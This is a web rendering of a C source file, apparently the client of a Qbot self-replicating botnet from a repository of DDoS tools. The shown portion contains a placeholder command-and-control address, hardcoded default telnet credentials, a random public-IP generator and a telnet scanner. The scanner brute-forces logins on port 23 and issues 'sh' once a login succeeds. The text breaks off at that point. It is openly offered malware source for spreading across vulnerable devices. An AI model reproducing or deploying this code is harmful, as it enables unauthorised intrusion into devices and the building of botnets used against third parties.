Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Qbot/Selfrep/client.c
5038 views
1
// ___ __ _
2
// / \___ / _(_)_ __ ___ ___
3
// / /\ / _ \ |_| | '_ \ / _ \/ __|
4
// / /_// __/ _| | | | | __/\__ \
5
// /___,' \___|_| |_|_| |_|\___||___/
6
7
#define PR_SET_NAME 15
8
#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
9
#define PAD_RIGHT 1
10
#define PAD_ZERO 2
11
#define PRINT_BUF_LEN 12
12
#define CMD_IAC 255
13
#define CMD_WILL 251
14
#define CMD_WONT 252
15
#define CMD_DO 253
16
#define CMD_DONT 254
17
#define OPT_SGA 3
18
19
// _____ _ _
20
// \_ \_ __ ___| |_ _ __| | ___ ___
21
// / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
22
// /\/ /_ | | | | (__| | |_| | (_| | __/\__ \
23
// \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
24
25
#include <stdlib.h>
26
#include <stdarg.h>
27
#include <stdio.h>
28
#include <sys/socket.h>
29
#include <sys/types.h>
30
#include <netinet/in.h>
31
#include <arpa/inet.h>
32
#include <netdb.h>
33
#include <signal.h>
34
#include <strings.h>
35
#include <string.h>
36
#include <sys/utsname.h>
37
#include <unistd.h>
38
#include <fcntl.h>
39
#include <errno.h>
40
#include <netinet/ip.h>
41
#include <netinet/udp.h>
42
#include <netinet/tcp.h>
43
#include <sys/wait.h>
44
#include <sys/ioctl.h>
45
#include <net/if.h>
46
47
// ___ __ _
48
// / __\___ _ __ / _(_) __ _
49
// / / / _ \| '_ \| |_| |/ _` |
50
// / /__| (_) | | | | _| | (_| |
51
// \____/\___/|_| |_|_| |_|\__, |
52
// |___/
53
54
unsigned char *commServer[] =
55
{
56
"IP:PORT" //Start the server on this port
57
};
58
59
// ___ _
60
// / __\ _ _ __ ___| |_(_) ___ _ __ ___
61
// / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
62
// / / | |_| | | | | (__| |_| | (_) | | | \__ \
63
// \/ \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
64
65
int initConnection();
66
int getBogos(unsigned char *bogomips);
67
int getCores();
68
int getCountry(unsigned char *buf, int bufsize);
69
void makeRandomStr(unsigned char *buf, int length);
70
int sockprintf(int sock, char *formatStr, ...);
71
char *inet_ntoa(struct in_addr in);
72
73
// ___ _ _ _
74
// / _ \ | ___ | |__ __ _| |___
75
// / /_\/ |/ _ \| '_ \ / _` | / __|
76
// / /_\\| | (_) | |_) | (_| | \__ \
77
// \____/|_|\___/|_.__/ \__,_|_|___/
78
79
int mainCommSock = 0, currentServer = -1, gotIP = 0;
80
uint32_t *pids;
81
uint32_t scanPid;
82
uint64_t numpids = 0;
83
struct in_addr ourIP;
84
unsigned char macAddress[6] = {0};
85
char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0"};
86
char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "support\0"};
87
88
// ___ ___ __ __ ___
89
// / __\/ _ \/__\ /\ \ \/ _ \
90
// / _\ / /_)/ \// / \/ / /_\/
91
// / / / ___/ _ \/ /\ / /_\\
92
// \/ \/ \/ \_/\_\ \/\____/
93
94
#define PHI 0x9e3779b9
95
static uint32_t Q[4096], c = 362436;
96
97
void init_rand(uint32_t x)
98
{
99
int i;
100
101
Q[0] = x;
102
Q[1] = x + PHI;
103
Q[2] = x + PHI + PHI;
104
105
for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
106
}
107
108
uint32_t rand_cmwc(void)
109
{
110
uint64_t t, a = 18782LL;
111
static uint32_t i = 4095;
112
uint32_t x, r = 0xfffffffe;
113
i = (i + 1) & 4095;
114
t = a * Q[i] + c;
115
c = (uint32_t)(t >> 32);
116
x = t + c;
117
if (x < c) {
118
x++;
119
c++;
120
}
121
return (Q[i] = r - x);
122
}
123
124
// _ _ _
125
// /\ /\| |_(_) |___
126
// / / \ \ __| | / __|
127
// \ \_/ / |_| | \__ \
128
// \___/ \__|_|_|___/
129
130
void trim(char *str)
131
{
132
int i;
133
int begin = 0;
134
int end = strlen(str) - 1;
135
136
while (isspace(str[begin])) begin++;
137
138
while ((end >= begin) && isspace(str[end])) end--;
139
for (i = begin; i <= end; i++) str[i - begin] = str[i];
140
141
str[i - begin] = '\0';
142
}
143
144
static void printchar(unsigned char **str, int c)
145
{
146
if (str) {
147
**str = c;
148
++(*str);
149
}
150
else (void)write(1, &c, 1);
151
}
152
153
static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
154
{
155
register int pc = 0, padchar = ' ';
156
157
if (width > 0) {
158
register int len = 0;
159
register const unsigned char *ptr;
160
for (ptr = string; *ptr; ++ptr) ++len;
161
if (len >= width) width = 0;
162
else width -= len;
163
if (pad & PAD_ZERO) padchar = '0';
164
}
165
if (!(pad & PAD_RIGHT)) {
166
for ( ; width > 0; --width) {
167
printchar (out, padchar);
168
++pc;
169
}
170
}
171
for ( ; *string ; ++string) {
172
printchar (out, *string);
173
++pc;
174
}
175
for ( ; width > 0; --width) {
176
printchar (out, padchar);
177
++pc;
178
}
179
180
return pc;
181
}
182
183
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
184
{
185
unsigned char print_buf[PRINT_BUF_LEN];
186
register unsigned char *s;
187
register int t, neg = 0, pc = 0;
188
register unsigned int u = i;
189
190
if (i == 0) {
191
print_buf[0] = '0';
192
print_buf[1] = '\0';
193
return prints (out, print_buf, width, pad);
194
}
195
196
if (sg && b == 10 && i < 0) {
197
neg = 1;
198
u = -i;
199
}
200
201
s = print_buf + PRINT_BUF_LEN-1;
202
*s = '\0';
203
204
while (u) {
205
t = u % b;
206
if( t >= 10 )
207
t += letbase - '0' - 10;
208
*--s = t + '0';
209
u /= b;
210
}
211
212
if (neg) {
213
if( width && (pad & PAD_ZERO) ) {
214
printchar (out, '-');
215
++pc;
216
--width;
217
}
218
else {
219
*--s = '-';
220
}
221
}
222
223
return pc + prints (out, s, width, pad);
224
}
225
226
static int print(unsigned char **out, const unsigned char *format, va_list args )
227
{
228
register int width, pad;
229
register int pc = 0;
230
unsigned char scr[2];
231
232
for (; *format != 0; ++format) {
233
if (*format == '%') {
234
++format;
235
width = pad = 0;
236
if (*format == '\0') break;
237
if (*format == '%') goto out;
238
if (*format == '-') {
239
++format;
240
pad = PAD_RIGHT;
241
}
242
while (*format == '0') {
243
++format;
244
pad |= PAD_ZERO;
245
}
246
for ( ; *format >= '0' && *format <= '9'; ++format) {
247
width *= 10;
248
width += *format - '0';
249
}
250
if( *format == 's' ) {
251
register char *s = (char *)va_arg( args, int );
252
pc += prints (out, s?s:"(null)", width, pad);
253
continue;
254
}
255
if( *format == 'd' ) {
256
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
257
continue;
258
}
259
if( *format == 'x' ) {
260
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
261
continue;
262
}
263
if( *format == 'X' ) {
264
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
265
continue;
266
}
267
if( *format == 'u' ) {
268
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
269
continue;
270
}
271
if( *format == 'c' ) {
272
scr[0] = (unsigned char)va_arg( args, int );
273
scr[1] = '\0';
274
pc += prints (out, scr, width, pad);
275
continue;
276
}
277
}
278
else {
279
out:
280
printchar (out, *format);
281
++pc;
282
}
283
}
284
if (out) **out = '\0';
285
va_end( args );
286
return pc;
287
}
288
289
int zprintf(const unsigned char *format, ...)
290
{
291
va_list args;
292
va_start( args, format );
293
return print( 0, format, args );
294
}
295
296
int szprintf(unsigned char *out, const unsigned char *format, ...)
297
{
298
va_list args;
299
va_start( args, format );
300
return print( &out, format, args );
301
}
302
303
304
int sockprintf(int sock, char *formatStr, ...)
305
{
306
unsigned char *textBuffer = malloc(2048);
307
memset(textBuffer, 0, 2048);
308
char *orig = textBuffer;
309
va_list args;
310
va_start(args, formatStr);
311
print(&textBuffer, formatStr, args);
312
va_end(args);
313
orig[strlen(orig)] = '\n';
314
zprintf("buf: %s\n", orig);
315
int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
316
free(orig);
317
return q;
318
}
319
320
static int *fdopen_pids;
321
322
int fdpopen(unsigned char *program, register unsigned char *type)
323
{
324
register int iop;
325
int pdes[2], fds, pid;
326
327
if (*type != 'r' && *type != 'w' || type[1]) return -1;
328
329
if (pipe(pdes) < 0) return -1;
330
if (fdopen_pids == NULL) {
331
if ((fds = getdtablesize()) <= 0) return -1;
332
if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
333
memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
334
}
335
336
switch (pid = vfork())
337
{
338
case -1:
339
close(pdes[0]);
340
close(pdes[1]);
341
return -1;
342
case 0:
343
if (*type == 'r') {
344
if (pdes[1] != 1) {
345
dup2(pdes[1], 1);
346
close(pdes[1]);
347
}
348
close(pdes[0]);
349
} else {
350
if (pdes[0] != 0) {
351
(void) dup2(pdes[0], 0);
352
(void) close(pdes[0]);
353
}
354
(void) close(pdes[1]);
355
}
356
execl("/bin/sh", "sh", "-c", program, NULL);
357
_exit(127);
358
}
359
if (*type == 'r') {
360
iop = pdes[0];
361
(void) close(pdes[1]);
362
} else {
363
iop = pdes[1];
364
(void) close(pdes[0]);
365
}
366
fdopen_pids[iop] = pid;
367
return (iop);
368
}
369
370
int fdpclose(int iop)
371
{
372
register int fdes;
373
sigset_t omask, nmask;
374
int pstat;
375
register int pid;
376
377
if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
378
(void) close(iop);
379
sigemptyset(&nmask);
380
sigaddset(&nmask, SIGINT);
381
sigaddset(&nmask, SIGQUIT);
382
sigaddset(&nmask, SIGHUP);
383
(void) sigprocmask(SIG_BLOCK, &nmask, &omask);
384
do {
385
pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
386
} while (pid == -1 && errno == EINTR);
387
(void) sigprocmask(SIG_SETMASK, &omask, NULL);
388
fdopen_pids[fdes] = 0;
389
return (pid == -1 ? -1 : WEXITSTATUS(pstat));
390
}
391
392
unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
393
{
394
int got = 1, total = 0;
395
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
396
return got == 0 ? NULL : buffer;
397
}
398
399
static const long hextable[] = {
400
[0 ... 255] = -1,
401
['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
402
['A'] = 10, 11, 12, 13, 14, 15,
403
['a'] = 10, 11, 12, 13, 14, 15
404
};
405
406
long parseHex(unsigned char *hex)
407
{
408
long ret = 0;
409
while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
410
return ret;
411
}
412
413
int wildString(const unsigned char* pattern, const unsigned char* string) {
414
switch(*pattern)
415
{
416
case '\0': return *string;
417
case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
418
case '?': return !(*string && !wildString(pattern+1, string+1));
419
default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
420
}
421
}
422
423
int getHost(unsigned char *toGet, struct in_addr *i)
424
{
425
struct hostent *h;
426
if((i->s_addr = inet_addr(toGet)) == -1) return 1;
427
return 0;
428
}
429
430
void uppercase(unsigned char *str)
431
{
432
while(*str) { *str = toupper(*str); str++; }
433
}
434
435
int getBogos(unsigned char *bogomips)
436
{
437
int cmdline = open("/proc/cpuinfo", O_RDONLY);
438
char linebuf[4096];
439
while(fdgets(linebuf, 4096, cmdline) != NULL)
440
{
441
uppercase(linebuf);
442
if(strstr(linebuf, "BOGOMIPS") == linebuf)
443
{
444
unsigned char *pos = linebuf + 8;
445
while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
446
while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
447
if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
448
strcpy(bogomips, pos);
449
close(cmdline);
450
return 0;
451
}
452
memset(linebuf, 0, 4096);
453
}
454
close(cmdline);
455
return 1;
456
}
457
458
int getCores()
459
{
460
int totalcores = 0;
461
int cmdline = open("/proc/cpuinfo", O_RDONLY);
462
char linebuf[4096];
463
while(fdgets(linebuf, 4096, cmdline) != NULL)
464
{
465
uppercase(linebuf);
466
if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
467
memset(linebuf, 0, 4096);
468
}
469
close(cmdline);
470
return totalcores;
471
472
}
473
474
void makeRandomStr(unsigned char *buf, int length)
475
{
476
int i = 0;
477
for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
478
}
479
480
int recvLine(int socket, unsigned char *buf, int bufsize)
481
{
482
memset(buf, 0, bufsize);
483
484
fd_set myset;
485
struct timeval tv;
486
tv.tv_sec = 30;
487
tv.tv_usec = 0;
488
FD_ZERO(&myset);
489
FD_SET(socket, &myset);
490
int selectRtn, retryCount;
491
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
492
while(retryCount < 10)
493
{
494
sockprintf(mainCommSock, "PING");
495
496
tv.tv_sec = 30;
497
tv.tv_usec = 0;
498
FD_ZERO(&myset);
499
FD_SET(socket, &myset);
500
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
501
retryCount++;
502
continue;
503
}
504
505
break;
506
}
507
}
508
509
unsigned char tmpchr;
510
unsigned char *cp;
511
int count = 0;
512
513
cp = buf;
514
while(bufsize-- > 1)
515
{
516
if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
517
*cp = 0x00;
518
return -1;
519
}
520
*cp++ = tmpchr;
521
if(tmpchr == '\n') break;
522
count++;
523
}
524
*cp = 0x00;
525
526
// zprintf("recv: %s\n", cp);
527
528
return count;
529
}
530
531
int connectTimeout(int fd, char *host, int port, int timeout)
532
{
533
struct sockaddr_in dest_addr;
534
fd_set myset;
535
struct timeval tv;
536
socklen_t lon;
537
538
int valopt;
539
long arg = fcntl(fd, F_GETFL, NULL);
540
arg |= O_NONBLOCK;
541
fcntl(fd, F_SETFL, arg);
542
543
dest_addr.sin_family = AF_INET;
544
dest_addr.sin_port = htons(port);
545
if(getHost(host, &dest_addr.sin_addr)) return 0;
546
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
547
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
548
549
if (res < 0) {
550
if (errno == EINPROGRESS) {
551
tv.tv_sec = timeout;
552
tv.tv_usec = 0;
553
FD_ZERO(&myset);
554
FD_SET(fd, &myset);
555
if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
556
lon = sizeof(int);
557
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
558
if (valopt) return 0;
559
}
560
else return 0;
561
}
562
else return 0;
563
}
564
565
arg = fcntl(fd, F_GETFL, NULL);
566
arg &= (~O_NONBLOCK);
567
fcntl(fd, F_SETFL, arg);
568
569
return 1;
570
}
571
572
int listFork()
573
{
574
uint32_t parent, *newpids, i;
575
parent = fork();
576
if (parent <= 0) return parent;
577
numpids++;
578
newpids = (uint32_t*)malloc((numpids + 1) * 4);
579
for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
580
newpids[numpids - 1] = parent;
581
free(pids);
582
pids = newpids;
583
return parent;
584
}
585
586
int negotiate(int sock, unsigned char *buf, int len)
587
{
588
unsigned char c;
589
590
switch (buf[1]) {
591
case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
592
case CMD_WILL:
593
case CMD_WONT:
594
case CMD_DO:
595
case CMD_DONT:
596
c = CMD_IAC;
597
send(sock, &c, 1, MSG_NOSIGNAL);
598
if (CMD_WONT == buf[1]) c = CMD_DONT;
599
else if (CMD_DONT == buf[1]) c = CMD_WONT;
600
else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
601
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
602
send(sock, &c, 1, MSG_NOSIGNAL);
603
send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
604
break;
605
606
default:
607
break;
608
}
609
610
return 0;
611
}
612
613
int matchPrompt(char *bufStr)
614
{
615
char *prompts = ":>%$#\0";
616
617
int bufLen = strlen(bufStr);
618
int i, q = 0;
619
for(i = 0; i < strlen(prompts); i++)
620
{
621
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
622
if(*(bufStr + bufLen - q) == prompts[i]) return 1;
623
}
624
625
return 0;
626
}
627
628
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
629
{
630
int bufferUsed = initialIndex, got = 0, found = 0;
631
fd_set myset;
632
struct timeval tv;
633
tv.tv_sec = timeout;
634
tv.tv_usec = timeoutusec;
635
unsigned char *initialRead = NULL;
636
637
while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
638
{
639
FD_ZERO(&myset);
640
FD_SET(fd, &myset);
641
if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
642
initialRead = buffer + bufferUsed;
643
got = recv(fd, initialRead, 1, 0);
644
if(got == -1 || got == 0) return 0;
645
bufferUsed += got;
646
if(*initialRead == 0xFF)
647
{
648
got = recv(fd, initialRead + 1, 2, 0);
649
if(got == -1 || got == 0) return 0;
650
bufferUsed += got;
651
if(!negotiate(fd, initialRead, 3)) return 0;
652
} else {
653
if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
654
}
655
}
656
657
if(found) return 1;
658
return 0;
659
}
660
661
// _____ ___ _ _ _
662
// \_ \/ _ \ /\ /\| |_(_) |___
663
// / /\/ /_)/ / / \ \ __| | / __|
664
// /\/ /_/ ___/ \ \_/ / |_| | \__ \
665
// \____/\/ \___/ \__|_|_|___/
666
667
static uint8_t ipState[5] = {0}; //starting from 1 becuz yolo
668
in_addr_t getRandomPublicIP()
669
{
670
if(ipState[1] > 0 && ipState[4] < 255)
671
{
672
ipState[4]++;
673
char ip[16] = {0};
674
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
675
return inet_addr(ip);
676
}
677
678
ipState[1] = rand() % 255;
679
ipState[2] = rand() % 255;
680
ipState[3] = rand() % 255;
681
ipState[4] = 0;
682
while(
683
(ipState[1] == 0) ||
684
(ipState[1] == 10) ||
685
(ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
686
(ipState[1] == 127) ||
687
(ipState[1] == 169 && ipState[2] == 254) ||
688
(ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
689
(ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
690
(ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
691
(ipState[1] == 192 && ipState[2] == 168) ||
692
(ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
693
(ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
694
(ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
695
(ipState[1] >= 224)
696
)
697
{
698
ipState[1] = rand() % 255;
699
ipState[2] = rand() % 255;
700
ipState[3] = rand() % 255;
701
}
702
703
char ip[16] = {0};
704
szprintf(ip, "%d.%d.%d.0", ipState[1], ipState[2], ipState[3]);
705
return inet_addr(ip);
706
}
707
708
in_addr_t getRandomIP(in_addr_t netmask)
709
{
710
in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
711
return tmp ^ ( rand_cmwc() & ~netmask);
712
}
713
714
unsigned short csum (unsigned short *buf, int count)
715
{
716
register uint64_t sum = 0;
717
while( count > 1 ) { sum += *buf++; count -= 2; }
718
if(count > 0) { sum += *(unsigned char *)buf; }
719
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
720
return (uint16_t)(~sum);
721
}
722
723
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
724
{
725
726
struct tcp_pseudo
727
{
728
unsigned long src_addr;
729
unsigned long dst_addr;
730
unsigned char zero;
731
unsigned char proto;
732
unsigned short length;
733
} pseudohead;
734
unsigned short total_len = iph->tot_len;
735
pseudohead.src_addr=iph->saddr;
736
pseudohead.dst_addr=iph->daddr;
737
pseudohead.zero=0;
738
pseudohead.proto=IPPROTO_TCP;
739
pseudohead.length=htons(sizeof(struct tcphdr));
740
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
741
unsigned short *tcp = malloc(totaltcp_len);
742
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
743
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
744
unsigned short output = csum(tcp,totaltcp_len);
745
free(tcp);
746
return output;
747
}
748
749
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
750
{
751
iph->ihl = 5;
752
iph->version = 4;
753
iph->tos = 0;
754
iph->tot_len = sizeof(struct iphdr) + packetSize;
755
iph->id = rand_cmwc();
756
iph->frag_off = 0;
757
iph->ttl = MAXTTL;
758
iph->protocol = protocol;
759
iph->check = 0;
760
iph->saddr = source;
761
iph->daddr = dest;
762
}
763
764
int sclose(int fd)
765
{
766
if(3 > fd) return 1;
767
close(fd);
768
return 0;
769
}
770
771
// _____ _ _ __ _ _
772
// /__ \___| |_ __ ___| |_ / _\ ___ __ _ _ __ _ __ ___ _ __ | | ___| |
773
// / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
774
// / / | __/ | | | | __/ |_ _\ \ (_| (_| | | | | | | | __/ | | | __/ |
775
// \/ \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_| |_|\___|_|
776
777
void StartTheLelz(int nothing)
778
{
779
int max = (getdtablesize() / 4) * 3, i, res;
780
fd_set myset;
781
struct timeval tv;
782
socklen_t lon;
783
int valopt;
784
785
max = max > 4096 ? 4096 : max;
786
787
struct sockaddr_in dest_addr;
788
dest_addr.sin_family = AF_INET;
789
dest_addr.sin_port = htons(23);
790
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
791
792
struct telstate_t
793
{
794
int fd;
795
uint32_t ip;
796
uint8_t state;
797
uint8_t complete;
798
uint8_t usernameInd;
799
uint8_t passwordInd;
800
uint32_t totalTimeout;
801
uint16_t bufUsed;
802
char *sockbuf;
803
} fds[max];
804
memset(fds, 0, max * (sizeof(int) + 1));
805
for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
806
struct timeval timeout;
807
timeout.tv_sec = 5;
808
timeout.tv_usec = 0;
809
while(1)
810
{
811
for(i = 0; i < max; i++)
812
{
813
switch(fds[i].state)
814
{
815
case 0:
816
{
817
memset(fds[i].sockbuf, 0, 1024);
818
819
if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
820
else {
821
fds[i].passwordInd++;
822
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
823
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
824
}
825
dest_addr.sin_family = AF_INET;
826
dest_addr.sin_port = htons(23);
827
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
828
dest_addr.sin_addr.s_addr = fds[i].ip;
829
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
830
setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
831
setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
832
if(fds[i].fd == -1) { continue; }
833
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
834
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
835
else { fds[i].state = 1; fds[i].totalTimeout = 0; }
836
}
837
break;
838
839
case 1:
840
{
841
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
842
843
FD_ZERO(&myset);
844
FD_SET(fds[i].fd, &myset);
845
tv.tv_sec = 0;
846
tv.tv_usec = 10000;
847
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
848
if(res == 1)
849
{
850
lon = sizeof(int);
851
valopt = 0;
852
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
853
if(valopt)
854
{
855
sclose(fds[i].fd);
856
fds[i].state = 0;
857
fds[i].complete = 1;
858
} else {
859
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
860
fds[i].totalTimeout = 0;
861
fds[i].bufUsed = 0;
862
memset(fds[i].sockbuf, 0, 1024);
863
fds[i].state = 2;
864
continue;
865
}
866
} else if(res == -1)
867
{
868
sclose(fds[i].fd);
869
fds[i].state = 0;
870
fds[i].complete = 1;
871
}
872
873
if(fds[i].totalTimeout + 5 < time(NULL))
874
{
875
sclose(fds[i].fd);
876
fds[i].state = 0;
877
fds[i].complete = 1;
878
}
879
}
880
break;
881
882
case 2:
883
{
884
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
885
886
if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
887
{
888
fds[i].totalTimeout = 0;
889
fds[i].bufUsed = 0;
890
memset(fds[i].sockbuf, 0, 1024);
891
fds[i].state = 3;
892
continue;
893
} else {
894
fds[i].bufUsed = strlen(fds[i].sockbuf);
895
}
896
897
if(fds[i].totalTimeout + 30 < time(NULL))
898
{
899
sclose(fds[i].fd);
900
fds[i].state = 0;
901
fds[i].complete = 1;
902
}
903
}
904
break;
905
906
case 3:
907
{
908
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
909
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
910
fds[i].state = 4;
911
}
912
break;
913
914
case 4:
915
{
916
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
917
918
if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
919
{
920
fds[i].totalTimeout = 0;
921
fds[i].bufUsed = 0;
922
if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
923
else fds[i].state = 100;
924
memset(fds[i].sockbuf, 0, 1024);
925
continue;
926
} else {
927
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
928
fds[i].bufUsed = strlen(fds[i].sockbuf);
929
}
930
931
if(fds[i].totalTimeout + 8 < time(NULL))
932
{
933
sclose(fds[i].fd);
934
fds[i].state = 0;
935
fds[i].complete = 1;
936
}
937
}
938
break;
939
940
case 5:
941
{
942
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
943
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
944
fds[i].state = 6;
945
}
946
break;
947
948
case 6:
949
{
950
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
951
952
if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
953
{
954
fds[i].totalTimeout = 0;
955
fds[i].bufUsed = 0;
956
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
957
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
958
else fds[i].state = 7;
959
memset(fds[i].sockbuf, 0, 1024);
960
continue;
961
} else {
962
fds[i].bufUsed = strlen(fds[i].sockbuf);
963
}
964
965
if(fds[i].totalTimeout + 30 < time(NULL))
966
{
967
sclose(fds[i].fd);
968
fds[i].state = 0;
969
fds[i].complete = 1;
970
}
971
}
972
break;
973
974
case 7:
975
{
976
if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
977
fds[i].state = 8;
978
}
979
break;
980
981
